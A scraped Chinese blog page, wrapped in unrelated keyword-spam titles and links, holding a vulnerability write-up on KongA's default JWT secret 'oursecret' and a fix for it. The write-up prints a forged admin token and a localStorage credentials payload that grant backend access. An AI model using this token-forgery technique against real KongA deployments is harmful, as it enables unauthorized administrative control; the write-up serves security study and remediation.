当前位置: 首页 > news >正文

飓风算法恢复的网站网页版传奇游戏怎么制作

飓风算法恢复的网站,网页版传奇游戏怎么制作,做网站前置审批,西安设计网站公司KongA 简介 KongA 介绍 KongA 是 Kong 的一个 GUI 工具。GitHub 地址是 https://github.com/pantsel/konga 。 KongA 概述 KongA 带来的一个最大的便利就是可以很好地通过UI观察到现在 Kong 的所有的配置,并且可以对于管理 Kong 节点 漏洞成因 未设置TOKEN_SECRE…

KongA 简介

KongA 介绍 KongA 是 Kong 的一个 GUI 工具。GitHub 地址是 https://github.com/pantsel/konga 。 KongA 概述 KongA 带来的一个最大的便利就是可以很好地通过UI观察到现在 Kong 的所有的配置,并且可以对于管理 Kong 节点

漏洞成因

未设置TOKEN_SECRET导致攻击者可以伪造任意用户的token登录后台。

环境搭建

https://blog.csdn.net/qq_28284093/article/details/109611898

正常功能

login路由输入用户名密码登录

代码在https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/services/protocols/local.js#L71

验证用户名密码后会生成一个jwt的token。

https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/controllers/AuthController.js#L294

从上图可以看到仅仅将user.id传入issue函数。

https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/api/services/Token.js#L23

这里是漏洞的关键,如果没有设置TOKEN_SECRET的话,默认是oursecret。所以实战情况下漏洞场景还是存在的。

生成token之后将返回的json串存储在localStorage中作为凭证。

代码在

https://github.com/pantsel/konga/blob/57f40d45108341eb57b7360cd01e8288e619747f/assets/js/app/core/auth/services/AuthService.js#L105

攻击利用

先登录一下,看看localStorage。

ngStorage-credentials对应login路由返回包内容

{"user":{"createdUser":null,"updatedUser":1,"node":{"id":6,"name":"kong","type":"default","kong_admin_url":"http://172.30.0.3:8001","netdata_url":null,"kong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kong_version":"2.5.0","health_checks":false,"health_check_details":null,"active":false,"createdAt":"2021-07-16T03:26:11.000Z","updatedAt":"2021-07-16T03:26:11.000Z","createdUser":1,"updatedUser":1},"id":1,"username":"admin","email":"admin@admin.com","firstName":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken":"7c15366f-2f45-4d2d-93ed-ad57b03e09ba","createdAt":"2021-07-16T03:21:14.000Z","updatedAt":"2021-07-16T03:26:11.000Z"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo"}

jwt解密一下看看

朴实无华,user.id就是1 。第一个注册用户是1,第二个注册用户是2。因为第一个用户往往是管理员用户,所以实战情况下构造1的jwt即可。

下面构造任意用户的jwt

eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo

构造凭证:

{"user":{"createdUser":null,"updatedUser":1,"node":{"id":1,"name":"admin","type":"default","kong_admin_url":"1","netdata_url":null,"kong_api_key":"","jwt_algorithm":"HS256","jwt_key":null,"jwt_secret":null,"username":"","password":"","kong_version":"2.5.0","health_checks":false,"health_check_details":null,"active":false,"createdAt":"1","updatedAt":"1","createdUser":1,"updatedUser":1},"id":1,"username":"1","email":"qq@qq.com","firstName":null,"lastName":null,"admin":true,"node_id":"","active":true,"activationToken":"1","createdAt":"1","updatedAt":"1"},"token":"eyJhbGciOiJIUzI1NiJ9.MQ.Lu-KcR4aCeuT9hi1K474zV3s4VaopLDCcf4nZvH6DQo"}

修改localStorage成功进入后台。

漏洞修复

部署时设置TOKEN_SECRET且值为不可爆破的字符串即可。

http://www.yayakq.cn/news/650891/

相关文章:

  • 网页设计的网网页设计的网站建设终端客户管理系统
  • 中企动力官网 网站网站的ftp地址是什么
  • 阿里服务器怎么做网站服务器北京中文seo
  • wordpress 设置404页面模板沈阳网站优化建设
  • 网站建设信息科技公司高粱seo博客
  • wordpress 邀请码注册衔接搜索引擎优化包括哪些内容
  • 旅游网站开发系统分析内蒙古网站开发
  • 南宁网站建设咨q479185700上墙新网站百度有审核期
  • 高邮市建设局网站购物网站首页模板下载
  • 做健身网站步骤对中国建设银行网站的优点
  • 能联系做仿瓷的网站珠海建设工程交易中心网站
  • 微站五金商城网站建设注意
  • 质量好网站建设哪家便宜网络营销推广的新趋势
  • 网站建设 代表联系群众企业网址查询
  • 门户网站开发公司排名电子商务网站建设开发
  • 四平网站公司建设工程交易平台
  • 网站后台 灰色网站注册费用需要多钱
  • php完整网站开发案例微信点餐小程序怎么制作
  • 眯眯扑克app哪个公司开发搜索引擎排名优化方案
  • 企业网站主页设计图百度官方优化指南
  • 沈阳做网站直播的公司青州做网站的网络公司
  • 通过网站做外贸谁能给我一个网站
  • 织梦网站模板做网站需要租空间吗
  • 来个手机能看的网站2021上海建设工程安全监理网站
  • 我的网站刚换了一个模板收录很多就是没排名校际凡科平台官网
  • 一个网站做数据分析要多少钱广州网站网站建设
  • 东莞网站推广电话广告创意设计培训
  • 淘宝网网站建设crm系统的销售管理功能包括
  • 校园网站建设 方案论证公司电脑管理软件
  • 网站后天添加文章不显示网站做推广有用